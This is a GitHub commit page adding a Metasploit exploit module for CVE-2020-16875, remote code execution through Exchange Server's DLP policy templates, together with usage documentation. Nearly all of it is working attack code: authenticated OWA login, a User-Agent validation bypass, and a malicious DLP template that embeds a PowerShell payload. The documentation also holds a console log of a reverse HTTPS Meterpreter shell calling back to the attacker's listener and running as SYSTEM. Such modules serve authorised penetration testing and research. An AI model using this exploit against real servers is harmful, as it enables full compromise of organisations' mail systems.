-
Notifications
You must be signed in to change notification settings - Fork 14k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add Microsoft Exchange Server DLP Policy RCE
- Loading branch information
Showing
2 changed files
with
360 additions
and
0 deletions.
There are no files selected for viewing
116 changes: 116 additions & 0 deletions
116
documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
## Vulnerable Application | ||
|
||
### Description | ||
|
||
This vulnerability allows remote attackers to execute arbitrary code | ||
on affected installations of Exchange Server. Authentication is | ||
required to exploit this vulnerability. Additionally, the target user | ||
must have the `Data Loss Prevention` role assigned and an active | ||
mailbox. | ||
|
||
The specific flaw exists within the processing of the `New-DlpPolicy` | ||
cmdlet. The issue results from the lack of proper validation of | ||
user-supplied template data when creating a DLP policy. An attacker | ||
can leverage this vulnerability to execute code in the context of | ||
`SYSTEM`. | ||
|
||
Tested against Exchange Server 2016 CU14 on Windows Server 2016. | ||
|
||
### Setup | ||
|
||
Set up a [vulnerable target](#targets). | ||
|
||
## Verification Steps | ||
|
||
Follow [Setup](#setup) and [Scenarios](#scenarios). | ||
|
||
## Targets | ||
|
||
### 0 | ||
|
||
`Exchange Server 2016 and 2019 w/o KB4577352` | ||
|
||
## Options | ||
|
||
### USERNAME | ||
|
||
Set this to the OWA username. | ||
|
||
### PASSWORD | ||
|
||
Set this to the OWA password. | ||
|
||
## Scenarios | ||
|
||
### Exchange Server 2016 CU14 on Windows Server 2016 | ||
|
||
``` | ||
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy | ||
[*] Using configured payload windows/x64/meterpreter/reverse_https | ||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options | ||
Module options (exploit/windows/http/exchange_ecp_dlp_policy): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
PASSWORD no OWA password | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' | ||
RPORT 443 yes The target port (TCP) | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
TARGETURI / yes Base path | ||
USERNAME no OWA username | ||
VHOST no HTTP server virtual host | ||
Payload options (windows/x64/meterpreter/reverse_https): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
LHOST yes The local listener hostname | ||
LPORT 8443 yes The local listener port | ||
LURI no The HTTP Path | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Exchange Server 2016 and 2019 w/o KB4577352 | ||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.192 | ||
rhosts => 192.168.123.192 | ||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator | ||
username => Administrator | ||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd! | ||
password => Passw0rd! | ||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1 | ||
lhost => 192.168.123.1 | ||
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run | ||
[*] Started HTTPS reverse handler on https://192.168.123.1:8443 | ||
[*] Executing automatic check (disable AutoCheck to override) | ||
[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/ | ||
[*] Logging in to OWA with creds Administrator:Passw0rd! | ||
[+] Successfully logged in to OWA | ||
[*] Retrieving ViewState from DLP policy creation page | ||
[+] Successfully retrieved ViewState | ||
[*] Creating custom DLP policy from malicious template | ||
[*] Powershell command length: 2356 | ||
[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: aowwcyay) Staging x64 payload (201308 bytes) ... | ||
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:10604) at 2020-09-16 01:40:12 -0500 | ||
meterpreter > getuid | ||
Server username: NT AUTHORITY\SYSTEM | ||
meterpreter > sysinfo | ||
Computer : WIN-365Q2VJJS17 | ||
OS : Windows 2016+ (10.0 Build 14393). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : GIBSON | ||
Logged On Users : 8 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` |
244 changes: 244 additions & 0 deletions
244
modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,244 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Powershell | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE', | ||
'Description' => %q{ | ||
This vulnerability allows remote attackers to execute arbitrary code | ||
on affected installations of Exchange Server. Authentication is | ||
required to exploit this vulnerability. Additionally, the target user | ||
must have the "Data Loss Prevention" role assigned and an active | ||
mailbox. | ||
The specific flaw exists within the processing of the New-DlpPolicy | ||
cmdlet. The issue results from the lack of proper validation of | ||
user-supplied template data when creating a DLP policy. An attacker | ||
can leverage this vulnerability to execute code in the context of | ||
SYSTEM. | ||
Tested against Exchange Server 2016 CU14 on Windows Server 2016. | ||
}, | ||
'Author' => [ | ||
'mr_me', # Discovery, exploits, and most of the words above | ||
'wvu' # Module | ||
], | ||
'References' => [ | ||
['CVE', '2020-16875'], | ||
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'], | ||
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'], | ||
['URL', 'https://srcincite.io/advisories/src-2020-0019/'], | ||
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'], | ||
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt'] | ||
], | ||
'DisclosureDate' => '2020-09-08', # Public disclosure | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'win', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
['Exchange Server 2016 and 2019 w/o KB4577352', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'SSL' => true, | ||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', | ||
'HttpClientTimeout' => 5, | ||
'WfsDelay' => 10 | ||
}, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ | ||
IOC_IN_LOGS, | ||
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session | ||
CONFIG_CHANGES, # Creates a new DLP policy | ||
ARTIFACTS_ON_DISK # Uses a DLP policy template file | ||
] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
Opt::RPORT(443), | ||
OptString.new('TARGETURI', [true, 'Base path', '/']), | ||
OptString.new('USERNAME', [false, 'OWA username']), | ||
OptString.new('PASSWORD', [false, 'OWA password']) | ||
]) | ||
end | ||
|
||
def post_auth? | ||
true | ||
end | ||
|
||
def username | ||
datastore['USERNAME'] | ||
end | ||
|
||
def password | ||
datastore['PASSWORD'] | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx') | ||
) | ||
|
||
unless res | ||
return CheckCode::Unknown('Target did not respond to check.') | ||
end | ||
|
||
unless res.code == 200 && res.body.include?('<title>Outlook</title>') | ||
return CheckCode::Unknown('Target does not appear to be running OWA.') | ||
end | ||
|
||
CheckCode::Detected("OWA is running at #{full_uri('/owa/')}") | ||
end | ||
|
||
def exploit | ||
owa_login | ||
create_dlp_policy(retrieve_viewstate) | ||
end | ||
|
||
def owa_login | ||
unless username && password | ||
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation') | ||
end | ||
|
||
print_status("Logging in to OWA with creds #{username}:#{password}") | ||
|
||
res = send_request_cgi!({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'), | ||
'vars_post' => { | ||
'username' => username, | ||
'password' => password, | ||
'flags' => '', | ||
'destination' => full_uri('/owa/', vhost_uri: true) | ||
}, | ||
'keep_cookies' => true | ||
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to access OWA login page') | ||
end | ||
|
||
unless res.code == 200 && cookie_jar.grep(/^cadata/).any? | ||
if res.body.include?('There are too many active sessions connected to this mailbox.') | ||
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox') | ||
end | ||
|
||
fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds') | ||
end | ||
|
||
if res.body.include?('Choose your preferred display language and home time zone below.') | ||
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured') | ||
end | ||
|
||
print_good('Successfully logged in to OWA') | ||
end | ||
|
||
def retrieve_viewstate | ||
print_status('Retrieving ViewState from DLP policy creation page') | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), | ||
'agent' => '', # HACK: Bypass Exchange's User-Agent validation | ||
'keep_cookies' => true | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page') | ||
end | ||
|
||
unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text) | ||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState') | ||
end | ||
|
||
print_good('Successfully retrieved ViewState') | ||
viewstate | ||
end | ||
|
||
def create_dlp_policy(viewstate) | ||
print_status('Creating custom DLP policy from malicious template') | ||
|
||
form_data = Rex::MIME::Message.new | ||
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"') | ||
form_data.add_part( | ||
'ResultPanePlaceHolder_ButtonsPanel_btnNext', | ||
nil, | ||
nil, | ||
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"' | ||
) | ||
form_data.add_part( | ||
dlp_policy_name, | ||
nil, | ||
nil, | ||
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"' | ||
) | ||
form_data.add_part( | ||
dlp_policy_template, | ||
'text/xml', | ||
nil, | ||
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}") | ||
) | ||
|
||
send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), | ||
'agent' => '', # HACK: Bypass Exchange's User-Agent validation | ||
'ctype' => "multipart/form-data; boundary=#{form_data.bound}", | ||
'data' => form_data.to_s | ||
}, 0) | ||
end | ||
|
||
def dlp_policy_template | ||
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help | ||
<<~XML | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<dlpPolicyTemplates> | ||
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0"> | ||
<contentVersion>4</contentVersion> | ||
<publisherName>Metasploit</publisherName> | ||
<name> | ||
<localizedString lang="en">#{dlp_policy_name}</localizedString> | ||
</name> | ||
<description> | ||
<localizedString lang="en">wvu was here</localizedString> | ||
</description> | ||
<keywords></keywords> | ||
<ruleParameters></ruleParameters> | ||
<policyCommands> | ||
<commandBlock> | ||
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]> | ||
</commandBlock> | ||
</policyCommands> | ||
<policyCommandsResources></policyCommandsResources> | ||
</dlpPolicyTemplate> | ||
</dlpPolicyTemplates> | ||
XML | ||
end | ||
|
||
def dlp_policy_name | ||
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data" | ||
end | ||
|
||
def dlp_policy_filename | ||
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml" | ||
end | ||
|
||
end |